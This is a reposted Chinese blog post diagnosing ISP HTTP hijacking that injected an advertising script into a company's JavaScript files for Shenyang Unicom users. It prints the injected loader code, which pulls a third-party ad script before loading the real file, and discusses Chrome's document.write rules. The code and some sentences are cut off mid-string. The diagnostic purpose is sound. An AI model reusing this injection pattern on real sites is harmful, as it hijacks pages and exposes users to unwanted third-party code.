摘要:最近业务系统经常受到前端报错邮件发现大量的为沈阳联通客户初步推断为运营商劫持经过现场排查发现出错画面部分加载出错区别在于错误的会先插入一个广告为区别是否劫持查看面板正确并且为我方服务器确认并非为攻击。
编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一个非常棘手的问题—ISP劫持http请求。他的分析过程非常有意思,同时也提醒我们,应该及时支持HTTPS来保证站点安全。
原文: ISP劫持http请求
作者: Mr_Qi
本文版权归原作者Mr_Qi所有。
最近业务系统经常受到前端报错邮件
发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持
经过现场排查发现出错画面部分js加载出错
区别在于错误的js会先插入一个广告js
为区别是否dns劫持查看NetWork面板
IP正确并且为我方服务器IP确认并非为DNS攻击。
由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)
返回js如下
(function () { try { var o = "m-_-m", D = document; if (!D.getElementById(o)) { var j = "http://yunxiu.f6car.com/kzf6/js/basic/XXX.js", J = j + (~j.indexOf("?") ? "&" : "?") + new Date().getTime(), M = "http://pc.quansj.cn/?cid=08", C = D.currentScript, H = D.getElementsByTagName("head")[0], N = function (s, i) { var I = D.createElement("script"); I.type = "text/JavaScript"; if (i) I.id = i; I.src = s; H.appendChild(I); }; if (self == top) { N(M, o); } if (!C) { C = (function () { var S = D.scripts, l = S.length, i = 0; for (; i < l; ++i) { if (S[i].src === j) { return S[i]; } } })(); } C && ((C.defer || C.async) ? N(J) : D.write("发现旗下域名
有好几个都是广告劫持网站
貌似和一个说脱口秀的(赵本山徒弟)同名………………该不是同一个人吧/(ㄒoㄒ)/~~
和沈阳联通沟通后无果,拒不承认存在劫持。目前正在求助工信部,不知能否有解决方案。
github上已经有针对该地址的adblock了……明显辽宁联通
看了一下js选项,正常情况下会执行到
C&&((C.defer||C.async)?N(J):D.write("具体说明如下
With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the elements injected via document.write()when all of the following conditions are met:
The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
The document.write() is in a top level document. The intervention does not apply to document.written scripts within iframes as they don"t block the rendering of the main page.
The script in the document.write() is parser-blocking. Scripts with the "async" or "defer" attributes will still execute.
The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on www.example.org).
The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.
Third party snippets sometimes use document.write() to load scripts. Fortunately, most third parties provide asynchronous loading alternatives, which allow third party scripts to load without blocking the display of the rest of the content on the page.
貌似我们不符合条件4 暂时先考虑一下
代码format完后大惊失色……整个加载js的前提是画面中没有id为m-_-m的节点。否则不会进行加载js ,即不会执行document.write
如果悲催的是我们画面中存在2个或两个以上的js被劫持,那么除了第一个js其余均不会加载。
那么查看了一下js请求(带有queryString),发现
果然当时客户的请求了commonjs,也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………
再说一下关于我们首页的劫持(跳转?)
明显也是江苏宽带(南京电信)的劫持……
欢迎加入我们Fundebug的全栈BUG监控交流群: 622902485。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/83066.html
摘要:而即使用安全的协议运行,主要目的是增强用户的安全性和隐私性。因此,欺诈者将无法查看请求的并对其进行更改。图片劫持目前,尚未成为上的全球标准,大多数连接仍依赖基本的。到目前为止,仅和两家公司涉足了这一领域。如果评选一个差评服务器榜单,除去育碧高居榜首外,一定也少不了 Nintendo Switch 让人头秃的联网服务。尽管任天堂已经架设了香港 CDN 服务器用于加速,但是更新安装的速度也没有什...
摘要:在一个节点中,设备和本地负载均衡设备的连接方式有两种一种是旁路方式,一种是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(内容分发网络)全称是 Content Delivery Network,建立并覆盖在承载网之上、由分布在不同区域的边缘节点服务器群组成的分布式网络,替代传统以 WEB Server 为中心的数据传输模式。 作用是将源内容发...
阅读 2947·2023-04-26 02:04
阅读 1262·2021-11-04 16:07
阅读 3605·2021-09-22 15:09
阅读 609·2019-08-30 15:54
阅读 1871·2019-08-29 14:11
阅读 2507·2019-08-26 12:19
阅读 2216·2019-08-26 12:00
阅读 713·2019-08-26 10:27